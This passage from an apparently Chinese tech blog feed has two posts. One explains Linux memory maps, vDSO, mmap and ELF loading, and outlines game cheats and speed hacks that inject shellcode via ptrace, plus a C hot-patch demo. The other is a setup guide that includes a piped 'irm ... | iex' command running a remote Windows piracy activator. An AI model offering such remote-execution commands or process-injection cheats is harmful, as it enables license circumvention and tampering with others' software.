0000000000400000       4       4       0 r---- a.out # ELF 文件头及只读数据
0000000000401000    1492    1148       8 r-x-- a.out # 代码段
0000000000576000     344     168       0 r---- a.out # .rodata只读数据段
00000000005cc000      44      44       8 r---- a.out
00000000005d7000      12      12      12 rw--- a.out # .data可读写数据段
00000000005da000    4128      24      24 rw---   [ anon ] # .bss
00000000009e2000     136      12      12 rw---   [ anon ] # [heap]
00007ffff7ff9000      16       0       0 r----   [ anon ] # [vvar]
00007ffff7ffd000       8       8       0 r-x--   [ anon ] # [vdso]
00007ffffffde000     132      12      12 rw---   [ stack ]
---------------- ------- ------- ------- 
total kB            6316    1432      76
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;vDSO: 内核与用户空间的“高速公路”&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;[ vdso ]&lt;/strong&gt; (&lt;code&gt;Virtual Dynamic Shared Object&lt;/code&gt;): 它是一种内核优化机制，目的是为了&lt;strong&gt;减少某些高频、只读系统调用的开销&lt;/strong&gt;（如gettimeofday, time, getcpu）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;[ vvar ]&lt;/strong&gt; (&lt;code&gt;Virtual Variables&lt;/code&gt;): 这是与vDSO相辅相成的机制。它是一块由内核映射的只读内存页，包含了vDSO 中函数可能需要的数据，例如内核维护的系统时间。这样，vDSO中的代码可以直接从 [ vvar ] 区域读取数据，而无需再与内核进行交互。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;通常，进程调用系统调用(syscall)需要经历一个“用户态 -&amp;gt; 内核态 -&amp;gt; 用户态”的完整上下文切换，涉及CPU特权级改变、寄存器保存恢复等操作开销。 但对于像 &lt;code&gt;gettimeofday&lt;/code&gt;、&lt;code&gt;time&lt;/code&gt;、&lt;code&gt;getcpu&lt;/code&gt; 这类仅仅是读取内核数据的系统调用，频繁地陷入内核就显得很浪费。&lt;/p&gt;
&lt;p&gt;vDSO的解决方案是：内核在每个进程启动时，主动将一小块包含这些系统调用实现代码的内存页映射到该进程的只读地址空间中。 当进程调用这些函数时，libc会检查是否存在vDSO，如果存在，就直接在用户态调用vDSO中的函数，像调用一个普通的共享库函数一样，&lt;strong&gt;完全避免了陷入内核的上下文切换&lt;/strong&gt;，从而大大提升了性能。&lt;/p&gt;
&lt;p&gt;在pmap的输出中，名为[vdso]的内存段就是这个由内核提供的、用于加速系统调用的“虚拟”共享库。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;sys/time.h&amp;gt;
#include &amp;lt;time.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

double gettime() {
    struct timeval t;
    gettimeofday(&amp;amp;t, NULL); // trapless system call
    return t.tv_sec + t.tv_usec / 1000000.0;
}

int main() {
    printf(&quot;Time stamp: %ld\n&quot;, time(NULL)); // trapless system call
    double st = gettime();
    sleep(1);
    double ed = gettime();
    printf(&quot;Time: %.6lfs\n&quot;, ed - st);
}

&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;cat /proc/self/maps | grep -E &apos;vdso|vsyscall&apos;
7ffeb954e000-7ffeb9550000 r-xp 00000000 00:00 0  [vdso]

strace -e trace=clock_gettime,gettimeofday,time ./a.out 
Time stamp: 1762651250
Time: 1.000233s
+++ exited with 0 +++

cat /sys/devices/system/clocksource/clocksource0/current_clocksource
hyperv_clocksource_tsc_page # 我这里是 WSL
# 物理机或VMware虚拟机上，通常能看到tsc(Time Stamp Counter)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;mmap: 内存映射的瑞士军刀&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;mmap&lt;/code&gt; (memory map) 是一个非常强大且核心的Linux系统调用。其本质作用是在进程的虚拟地址空间中创建一个新的内存映射VMA。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
int munmap(void *addr, size_t length);

int mprotect(void *addr, size_t length, int prot);
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;“一切皆文件”哲学的体现&lt;/strong&gt;: &lt;code&gt;mmap&lt;/code&gt;可以将一个文件（由文件描述符&lt;code&gt;fd&lt;/code&gt;和&lt;code&gt;offset&lt;/code&gt;指定）的&lt;strong&gt;一部分&lt;/strong&gt;直接映射到进程的&lt;strong&gt;虚拟内存&lt;/strong&gt;中。 之后，映射建立后，程序可以像访问普通内存数组一样，通过指针来读写文件内容，而无需调用 &lt;code&gt;read()&lt;/code&gt; 或 &lt;code&gt;write()&lt;/code&gt; 系统调用。这避免了数据在内核缓冲区和用户缓冲区之间的多次拷贝，极大地提高了大文件或频繁访问文件的I/O效率。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;匿名映射&lt;/strong&gt;: 当 flags 参数包含 MAP_ANONYMOUS 并且 fd 参数设为-1时，mmap 会创建一块不与任何文件关联的匿名内存区域。这块内存会被初始化为0。malloc 在申请大块内存时，内部通常就会使用 mmap 的匿名映射来实现。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;写时复制 (Copy-on-Write)&lt;/strong&gt;: 当 flags 包含 MAP_PRIVATE 时，对映射区域的写操作会触发写时复制机制。这意味着写操作不会修改原始文件（或父进程的内存），而是会为该进程创建一个该内存页的私有副本，后续的写操作都在这个副本上进行。fork() 系统调用后父子进程共享内存就是利用了这个机制。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;mmap 与缺页异常 (Page Fault) 的协同工作： 按需分页（&lt;code&gt;Demand Paging&lt;/code&gt;）&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;虚拟内存空间预留&lt;/strong&gt;: 调用&lt;code&gt;mmap&lt;/code&gt;时，内核首先只是在&lt;strong&gt;进程的虚拟地址空间&lt;/strong&gt;中预留出一块区域，并为其创建一个VMA结构体来描述虚拟地址与文件（或匿名内存）的映射关系。&lt;strong&gt;此时并不会立即分配物理内存&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;按需分配物理内存 (Page Fault)&lt;/strong&gt;: 当进程&lt;strong&gt;第一次&lt;/strong&gt;访问这块预留区域中的某个内存页时，MMU在翻译该虚拟地址时，会发现页表中没有对应的物理页映射。于是MMU会中断当前指令的执行并触发一个硬件异常&lt;strong&gt;缺页异常 (Page Fault)&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;异常处理与页面加载&lt;/strong&gt;: 内核会捕获这个缺页异常，检查该地址是否属于一个合法的VMA。如果不是，说明这是一次非法的内存访问，内核会向进程发送 SIGSEGV 信号，进程通常会因此终止（段错误）。如果合法，内核会分配一页物理内存，然后将文件中对应的数据从磁盘加载到这页物理内存中，最后更新进程的页表，建立虚拟地址到物理页的映射。之后，CPU重新执行访问指令，这次就能成功访问了。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;由于 mmap 的懒加载特性，程序可以映射远大于物理内存的文件，并能高效地利用物理内存。并且程序启动时只有少量必要的页面被载入内存，大大加快了启动速度。&lt;/p&gt;
&lt;h4&gt;有了mmap，我们通过readelf的信息就可以知道ELF要把哪个文件加载到哪里，从而映射到内存&lt;/h4&gt;
&lt;p&gt;对于每一个类型为 LOAD 的段（这是加载器眼中内存映射的最小单元。），内核会使用 mmap 逻辑来处理，从而高效地在进程的虚拟地址空间中构建起了代码段、数据段等内存布局。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# readelf -S  # Section
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  D (mbind), l (large), p (processor specific)

# readelf -l  # LOAD
# 动态链接的可执行文件 PIE:地址空间布局随机化 (ASLR) 
Elf file type is DYN (Position-Independent Executable file): 
# 下面看到的所有 VirtAddr (虚拟地址) 都是相对地址
Entry point 0x1100:
  INTERP         0x0000000000000318 0x0000000000000318 0x0000000000000318
                 0x000000000000001c 0x000000000000001c  R      0x1
      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]       # 即“不要直接运行我，请先加载并运行指定的动态链接器/加载器(ld.so)”
  LOAD           0x0000000000000000 0x0000000000000000 0x0000000000000000
                 0x0000000000000908 0x0000000000000908  R      0x1000     # ELF 头部、程序头表、动态链接所需的元数据
  LOAD           0x0000000000001000 0x0000000000001000 0x0000000000001000
                 0x00000000000003a5 0x00000000000003a5  R E    0x1000     # 代码段
  LOAD           0x0000000000002000 0x0000000000002000 0x0000000000002000
                 0x00000000000001c8 0x00000000000001c8  R      0x1000     # 常量字符串、全局常量
  LOAD           0x0000000000002d68 0x0000000000003d68 0x0000000000003d68
                 0x00000000000002b4 0x00000000000003f8  RW     0x1000     # 可读写数据段 .bss段：只读取前 0x2b4 字节剩余的 0x144 字节内存区域清零
  DYNAMIC        0x0000000000002d80 0x0000000000003d80 0x0000000000003d80
                 0x0000000000000200 0x0000000000000200  RW     0x8        # .dynamic 节包含一个数组，里面是动态链接器需要的各种信息
  ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;总结：从文件到开始运行的完整流程&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;执行命令: 用户在 shell 中输入 ./a.out。&lt;/li&gt;
&lt;li&gt;内核介入: 内核读取 ELF 文件的程序头。&lt;/li&gt;
&lt;li&gt;加载解释器: 内核发现 INTERP 段，于是加载并运行 /lib64/ld-linux-x86-64.so.2 (用户空间的共享库，通过mmap映射到进程的虚拟地址空间)&lt;/li&gt;
&lt;li&gt;动态链接器接管: ld.so 开始工作。它会：
&lt;ol&gt;
&lt;li&gt;读取 ./a.out 的 LOAD 段，并使用 mmap 系统调用（遵循 VirtAddr, FileSiz, MemSiz, Flags 的指令）将程序的代码和数据段映射到内存中一个随机的基地址之上。&lt;/li&gt;
&lt;li&gt;处理 .bss 段，将其清零。&lt;/li&gt;
&lt;li&gt;读取 DYNAMIC 段，找出所有依赖的共享库（如 libc.so）。&lt;/li&gt;
&lt;li&gt;递归地加载所有依赖的共享库到内存中。&lt;/li&gt;
&lt;li&gt;执行符号重定位，将代码中对外部函数和变量的引用修正为它们在内存中的实际地址。&lt;/li&gt;
&lt;li&gt;应用 GNU_RELRO 安全策略，将部分数据段设为只读。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;交还控制权: 所有准备工作完成后，ld.so 跳转到程序的入口点 (基地址 + 0x1100)。&lt;/li&gt;
&lt;li&gt;程序运行: ./a.out 的代码正式开始执行。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;高级应用与“黑科技”：pmap的威力&lt;/h3&gt;
&lt;p&gt;现在我们来谈谈几个非常有趣的应用场景，这些场景完美诠释了 &lt;code&gt;pmap&lt;/code&gt; 不仅仅是一个诊断工具，更是进行运行时分析、逆向工程和系统维护的强大起点。&lt;/p&gt;
&lt;h4&gt;&lt;strong&gt;场景一：按键精灵&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;一个游戏外挂或按键精灵需要与游戏进程进行交互，比如修改内存中的金币数量，或者调用游戏内部的某个函数来执行特定动作。要做到这一点，首先必须知道：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;目标数据（如金币）在内存的哪个地址？&lt;/li&gt;
&lt;li&gt;目标函数（如“使用技能”）的入口地址在哪里？&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;code&gt;pmap&lt;/code&gt;能清晰地展示出游戏进程加载了哪些动态库（.so文件）以及它们在内存中的基地址。攻击者可以结合&lt;code&gt;readelf&lt;/code&gt;或&lt;code&gt;objdump&lt;/code&gt;等工具分析这些库文件，找出特定函数的偏移地址，然后用&lt;code&gt;pmap&lt;/code&gt;提供的基地址加上偏移，就能计算出该函数在运行时的&lt;strong&gt;绝对虚拟地址&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;一旦获得了地址，就可以通过&lt;code&gt;ptrace&lt;/code&gt;等工具向目标进程注入代码或者直接修改内存数据，从而实现“按键”效果。&lt;/p&gt;
&lt;h4&gt;&lt;strong&gt;场景二：变速齿轮 (欺骗进程时钟)&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;这个技术的核心是&lt;strong&gt;API Hooking&lt;/strong&gt;，即拦截并篡改函数的行为。要欺骗进程的时间，就是要让它调用的时间相关函数（如&lt;code&gt;sleep&lt;/code&gt;, &lt;code&gt;alarm&lt;/code&gt;, &lt;code&gt;gettimeofday&lt;/code&gt;）返回一个被“加速”或“减速”过的值。&lt;/p&gt;
&lt;p&gt;实现步骤如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;侦察&lt;/strong&gt;: 使用&lt;code&gt;pmap&lt;/code&gt;找到目标进程中&lt;code&gt;libc.so.6&lt;/code&gt;（或其他包含时间函数的库）的内存基地址。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;定位&lt;/strong&gt;: 结合&lt;code&gt;readelf&lt;/code&gt;等工具，计算出&lt;code&gt;sleep&lt;/code&gt;等函数在内存中的确切地址。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;注入与劫持&lt;/strong&gt;: 使用&lt;code&gt;ptrace&lt;/code&gt;这样的调试工具附加（attach）到目标进程。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;修改内存&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;在目标进程的内存空间中写入一小段我们自己的代码（shellcode），这段代码的作用是：调用原始的&lt;code&gt;sleep&lt;/code&gt;，但传入一个修改过的时间参数（例如，原时间的1/2，实现2倍速）。&lt;/li&gt;
&lt;li&gt;修改目标进程代码段中&lt;code&gt;sleep&lt;/code&gt;函数的开头几个字节，将其替换成一个跳转指令（&lt;code&gt;JMP&lt;/code&gt;），跳转到我们注入的代码处。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这样一来，当游戏调用&lt;code&gt;sleep(10)&lt;/code&gt;时，实际上会跳转到我们的“假”&lt;code&gt;sleep&lt;/code&gt;，我们的代码可能会执行&lt;code&gt;original_sleep(1)&lt;/code&gt;，从而实现了游戏时间的加速。这个过程非常凶险，因为它直接修改了正在运行的代码。&lt;/p&gt;
&lt;h4&gt;&lt;strong&gt;场景三：软件热补丁 (mprotect)&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;软件热补丁指的是在不重启服务的情况下，动态地修复正在运行程序中的BUG。&lt;code&gt;mprotect&lt;/code&gt;系统调用是实现这一技术的关键。&lt;/p&gt;
&lt;p&gt;通常，进程的代码段是只读和可执行的（&lt;code&gt;r-x&lt;/code&gt;）。如果你试图写入代码段，会立即引发段错误（Segmentation Fault）。而热补丁需要在运行时修改代码。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;mprotect&lt;/code&gt;的作用就是&lt;strong&gt;改变指定内存区域的访问权限&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;实现热补丁的流程：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;定位&lt;/strong&gt;: 和变速齿轮一样，首先通过&lt;code&gt;pmap&lt;/code&gt;等工具确定需要修复的函数地址。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;权限修改&lt;/strong&gt;: 调用&lt;code&gt;mprotect&lt;/code&gt;，将包含该函数的内存页权限临时修改为&lt;strong&gt;可读、可写、可执行 (&lt;code&gt;PROT_READ | PROT_WRITE | PROT_EXEC&lt;/code&gt;)&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;代码替换&lt;/strong&gt;: 权限修改成功后，就可以像修改普通数据一样，用新的、修复了BUG的函数二进制代码覆盖掉旧函数的代码。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;恢复权限&lt;/strong&gt;: 为了安全，修复完成后，再次调用&lt;code&gt;mprotect&lt;/code&gt;将内存页的权限恢复为只读、可执行 (&lt;code&gt;PROT_READ | PROT_EXEC&lt;/code&gt;)。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;通过这种方式，可以在服务不中断的情况下，完成对线上BUG的紧急修复。
&lt;strong&gt;示例代码&lt;/strong&gt;：DSU(Dynamic Software Updating) 动态软件更新（热补丁）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;assert.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

void foo() { printf(&quot;In old function %s\n&quot;, __func__); }
void foo_new() { printf(&quot;In new function %s\n&quot;, __func__); }

// 48 b8 ff ff ff ff ff ff ff ff    movabs $0xffffffffffffffff,%rax # 将一个立即数mov到%rax
// ff e0                            jmpq   *%rax
void DSU(void* old, void* new) {
#define ROUNDDOWN(ptr) ((void*)(((uintptr_t)ptr) &amp;amp; ~0xfff))
    size_t pg_size = sysconf(_SC_PAGESIZE);
    char* pg_boundary = ROUNDDOWN(old);
    int flags = PROT_WRITE | PROT_READ | PROT_EXEC;

    printf(&quot;Dynamically updating...\n&quot;);
    fflush(stdout);

    mprotect(pg_boundary, 2 * pg_size, flags);
    memcpy(old + 0, &quot;\x48\xb8&quot;, 2);
    memcpy(old + 2, &amp;amp;new, 8);
    memcpy(old + 10, &quot;\xff\xe0&quot;, 2);
    mprotect(pg_boundary, 2 * pg_size, flags &amp;amp; ~PROT_WRITE);

    printf(&quot;Done\n&quot;);
    fflush(stdout);
}

int main() {
    foo();
    DSU(foo, foo_new);
    foo();
}
// 因为一个函数体有可能跨越两个内存页的边界。为了确保整个12字节的补丁都能被完整写入，需要修改2*pg_size的内存页
// 在更复杂的场景下，可能需要额外的指令（如 mfence）或缓存刷新操作来确保CPU能看到修改后的代码。
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>env 环境配置</title><link>https://blog.alinche.dpdns.org/posts/envs/</link><guid isPermaLink="true">https://blog.alinche.dpdns.org/posts/envs/</guid><description>环境配置教程备份</description><pubDate>Fri, 02 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;系统级配置&lt;/h1&gt;
&lt;h2&gt;Ubuntu&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;## Basic
sudo cp /etc/apt/sources.list /etc/apt/sources.list.bak
sudo nano /etc/apt/sources.list
# 替换为清华源。注意：请务必将配置中的 jammy 替换为自己系统的实际版本代号，例如20.04是focal，22.04是jammy，24.04是noble
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy-updates main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy-backports main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy-security main restricted universe multiverse

sudo apt update
sudo apt install -y fish
chsh -s $(which fish)
echo $SHELL

sudo timedatectl set-timezone Asia/Shanghai
date

sudo apt install -y vim git openssh-server htop
git config --global user.name &quot;aLinChe&quot;
git config --global user.email &quot;1129332011@qq.com&quot;
git config --global core.editor vim
git config --global color.ui true

vim ~/.vimrc
:set mouse=a
:set nu
:set et
:set sw=4
:set sts=4
:set hlsearch


sudo apt install python3 python3-pip -y
python -m pip install --upgrade pip
pip config set global.index-url https://mirrors.tuna.tsinghua.edu.cn/pypi/web/simple
pip3 config list


## Docker
# https://docs.docker.com/engine/install/ubuntu/
# https://docs.docker.com/desktop/setup/install/linux/ubuntu/
for pkg in docker.io docker-doc docker-compose docker-compose-v2 podman-docker containerd runc; do sudo apt-get remove $pkg; done

# Add Docker&apos;s official GPG key:
sudo apt-get update
sudo apt-get install ca-certificates curl -y
sudo install -m 0755 -d /etc/apt/keyrings
sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.asc
sudo chmod a+r /etc/apt/keyrings/docker.asc

# Add the repository to Apt sources:
echo \
&quot;deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/ubuntu \
$(. /etc/os-release &amp;amp;&amp;amp; echo &quot;${UBUNTU_CODENAME:-$VERSION_CODENAME}&quot;) stable&quot; | \
sudo tee /etc/apt/sources.list.d/docker.list &amp;gt; /dev/null
sudo apt-get update

sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin -y

sudo usermod -aG docker ${USER}
docker version

docker pull alinche/echo
docker images -a


## Nix
sh &amp;lt;(curl -L https://nixos.org/nix/install) --daemon
nix-channel --add https://github.com/nix-community/home-manager/archive/master.tar.gz home-manager
nix-channel --update
nix-shell &apos;&amp;lt;home-manager&amp;gt;&apos; -A install
vim ~/.config/home-manager/home.nix
#   nix = {
#     package = pkgs.nix;
#     settings.experimental-features = [ &quot;nix-command&quot; &quot;flakes&quot; ];
#     settings.access-tokens = &quot;github.com=&amp;lt;your-github-access-token&amp;gt;&quot;;
#   };

#   programs = {
#     direnv = {
#       enable = true;
#       enableBashIntegration = true;
#       nix-direnv.enable = true;
#     };
    
#     fish.enable = true;
#     # bash.enable = true; # 使用 nix bash 管理
#   };
mv ~/.bashrc ~/.bashrc.backup
mv ~/.profile ~/.profile.backup

home-manager switch


## else
# disk
df -h /tmp
sudo vgdisplay
sudo lvdisplay
sudo lvextend -l +100%FREE /dev/ubuntu-vg/ubuntu-lv
sudo resize2fs /dev/ubuntu-vg/ubuntu-lv

lsblk
sudo fdisk /dev/sda
p -&amp;gt; d -&amp;gt; n -&amp;gt; w
sudo partprobe
sudo resize2fs /dev/sda2

# hostname
sudo hostnamectl set-hostname aLinChe
# netplan
sudo vim /etc/netplan/50-cloud-init.yaml
# systemctl
systemctl --user list-unit-files --type=service --state=enabled

## Linux Kernal
make menuconfig
grep &quot;=m&quot; .config
grep &quot;=y&quot; .config

bear -- make -n
make ARCH=x86_64 compile_commands.json -j$(nproc) # x86_64
make -j$(nproc)
sudo make modules_install
sudo make install

make -j$(nproc) bzImage
cp arch/x86/boot/bzImage vmlinuz-x86_64
# if ARM aarch64: make ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- -j$(nproc) # arch/arm64/boot/Image

# make menuconfig
Kernel hacking  ---&amp;gt;
    Compile-time checks and compiler options  ---&amp;gt;
        [*] Compile the kernel with debug info
        [*]   Provide GDB scripts for kernel debugging
Device Drivers  ---&amp;gt;
    Network device support  ---&amp;gt;
        [*]   Network core driver support
        &amp;lt;*&amp;gt;     Virtual eXtensible Local Area Network (VXLAN)
        &amp;lt;*&amp;gt;     Universal TUN/TAP device driver support
        [*]   Ethernet driver support  ---&amp;gt;
        -*-   PHY Device support and infrastructu  ---&amp;gt;
        -*-   MDIO bus device drivers  ---&amp;gt;
        # ​​USB网卡：
        &amp;lt;*&amp;gt;   USB Network Adapters  ---&amp;gt;
        ​# ​无线网卡​​：
        [*]   Wireless LAN  ---&amp;gt;
        # 虚拟机网卡​​：
        &amp;lt;*&amp;gt;   VMware VMXNET3 ethernet driver
        &amp;lt;M&amp;gt;   Simulated networking device
        &amp;lt;M&amp;gt;   Failover driver
    Virtio drivers ---&amp;gt;
Networking support  ---&amp;gt;
    Networking options  ---&amp;gt;
        [*] TCP/IP networking
        [*]   IP: advanced router
        [*]     IP: policy routing
        &amp;lt;*&amp;gt;   The IPv6 protocol  ---&amp;gt;
        &amp;lt;*&amp;gt; 802.1d Ethernet Bridging
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Arch&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;https://archlinux.org/download/ # archinstall

systemctl stop reflector.service
vim /etc/pacman.d/mirrorlist
Server = http://mirrors.tuna.tsinghua.edu.cn/archlinux/$repo/os/$arch
Server = https://mirrors.tuna.tsinghua.edu.cn/archlinux/$repo/os/$arch
Server = http://mirrors.hust.edu.cn/archlinux/$repo/os/$arch
Server = https://mirrors.hust.edu.cn/archlinux/$repo/os/$arch

pacman -Sy pacman-mirrorlist
cat /etc/pacman.d/mirrorlist.pacnew | grep China -A 42
cat /etc/pacman.d/mirrorlist.pacnew | grep China -A 42 &amp;gt; /etc/pacman.d/mirrorlist
vim /etc/pacman.d/mirrorlist

vim /etc/pacman.conf


fdisk /dev/sda # mnw
lsblk
mkfs.ext4 /dev/sda1
mount /dev/sda1 /mnt/

pacstrap -i /mnt base base-devel linux linux-firmware
genfstab -U -p /mnt &amp;gt; /mnt/etc/fstab
arch-chroot /mnt


echo ArchKK &amp;gt; /etc/hostname
pacman -S iw wpa_supplicant wireless_tools net-tools
pacman -S networkmanager
systemctl enable NetworkManager
pacman -S openssh
systemctl enable sshd
pacman -S dialog

ln -s -f /usr/share/zoneinfo/Asia/Shanghai /etc/localtime
hwclock --systohc
date

vim /etc/locale.gen  # zh_CN.UTF-8
locale-gen
echo LANG=en_US.UTF-8 &amp;gt; /etc/locale.conf
cat /etc/locale.conf

useradd -m -G wheel -s /bin/bash kkArch
passwd kkArch
pacman -S fish
chsh -s /bin/fish kkArch

pacman -S grub
grub-install /dev/sda
grub-mkconfig -o /boot/grub/grub.cfg

exit
reboot
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;NixOS&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;https://github.com/oeasy1412/nixos_config/
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Windows&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;## LTSC is all you need.
https://next.itellyou.cn/Original/

## MAS
https://massgrave.dev/
irm https://get.activated.win | iex

## WSL2
“控制面板”-&amp;gt;“程序”-&amp;gt;“启用或关闭Windows功能”中勾选“适用于 Linux 的 Windows 子系统”和“虚拟机平台”
重启计算机。重启后，以管理员身份打开PowerShell：
wsl --set-default-version 2
通过 Microsoft Store 搜索&quot;Ubuntu&quot;点击&quot;获取&quot;进行安装
# 法2：wsl --list --online (wsl --install -d Ubuntu-22.04)

## WSL迁移到D盘
wsl -l -v
wsl --shutdown
wsl --export Arch D:\WSL2\Arch\arch.tar
wsl --unregister Arch
wsl --import D:\WSL2\Arch D:\WSL2\Arch\Arch.tar --version 2
del D:\WSL2\Arch\Arch.tar
Arch.exe config --default-user [your name]
# 同理 wsl --import Ubuntu-22.04 D:\WSL2\Ubuntu-22.04 D:\WSL2\Ubuntu-22.04\Ubun.tar --version 2

## disk 硬盘盒启动 + Ventoy安装系统
diskpart
list disk              # 确认新硬盘是磁盘1（根据容量931GB判断）
select disk 1          # 选中您的机械硬盘（⚠️绝对不要选错磁盘！）
clean                  # 删除所有分区（新硬盘可安全执行）
convert gpt            # 转换为GPT分区表（兼容大硬盘）
create partition primary # 创建主分区（默认占用全部空间）
format fs=ntfs quick   # 快速格式化为NTFS文件系统
assign letter=E        # 手动分配驱动器号为E（可替换为F,G等）
exit

## 查看开机自启服务
systemctl list-unit-files --type=service --state=enabled
systemctl list-unit-files --type=service | grep enabled
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;软件级配置&lt;/h1&gt;
&lt;h2&gt;Conda&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;## python
https://www.python.org/downloads/ # Windows
## conda
## 安装
curl -O https://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/Anaconda3-2025.06-1-Linux-x86_64.sh
chmod +x Anaconda3-2025.06-1-Linux-x86_64.sh
bash ./Anaconda3-2025.06-1-Linux-x86_64.sh

conda info --envs
conda deactivate
conda config --set auto_activate_base false
## d2l
conda create -n d2l-env python=3.11
conda activate d2l-env
conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main/
conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/pytorch/
conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/conda-forge/
pip install jupyter torch torchvision
pip install d2l
conda install ipykernel
python -m ipykernel install --user --name d2l-env --display-name &quot;d2l&quot;
# rm
conda remove --name d2l-env --all
conda env list
# ​​导出环境配置​​
conda activate d2l-env
conda env export &amp;gt; d2l-env.yml
# 复用
# conda env create -f d2l-env.yaml --name new_torch_env
conda env create -n NewProject --file d2l-env.yml
conda activate NewProject
conda config --show
conda env list

## ROCm
https://github.com/likelovewant/ROCmLibs-for-gfx1103-AMD780M-APU/ # 鸡哥无界14X（
conda create -n ROCm python=3.11
conda activate ROCm
# pip install torch==2.7.1 torchvision==0.22.1 torchaudio==2.7.1 --index-url https://download.pytorch.org/whl/rocm6.3
pip install torch torchvision torchaudio --index-url https://download.pytorch.org/whl/cu118
pip install jupyter d2l
conda install ipykernel
python -m ipykernel install --user --name ROCm --display-name &quot;ROCm&quot;

## jupyter
jupyter kernelspec list
jupyter nbconvert --to script a.ipynb # html markdown pdf
jupyter notebook list
jupyter notebook --ip=0.0.0.0 --port=8888 --allow-root
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;CUDA&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;## nvidia 驱动
ubuntu-drivers devices
# 安装推荐驱动（或手动指定版本）
sudo ubuntu-drivers autoinstall
sudo reboot
nvidia-smi

https://developer.nvidia.com/cuda-downloads/ # is all you need
## PATH
sudo ln -s /usr/local/cuda-12.2 /usr/local/cuda
export PATH=/usr/local/cuda/bin${PATH:+:${PATH}}
export LD_LIBRARY_PATH=/usr/local/cuda/lib64${LD_LIBRARY_PATH:+:${LD_LIBRARY_PATH}}
export PATH=&quot;$HOME/anaconda3/bin:$PATH&quot;

## 重装
# 清理旧驱动
sudo apt purge &apos;^nvidia-.*&apos; &amp;amp;&amp;amp; sudo apt autoremove
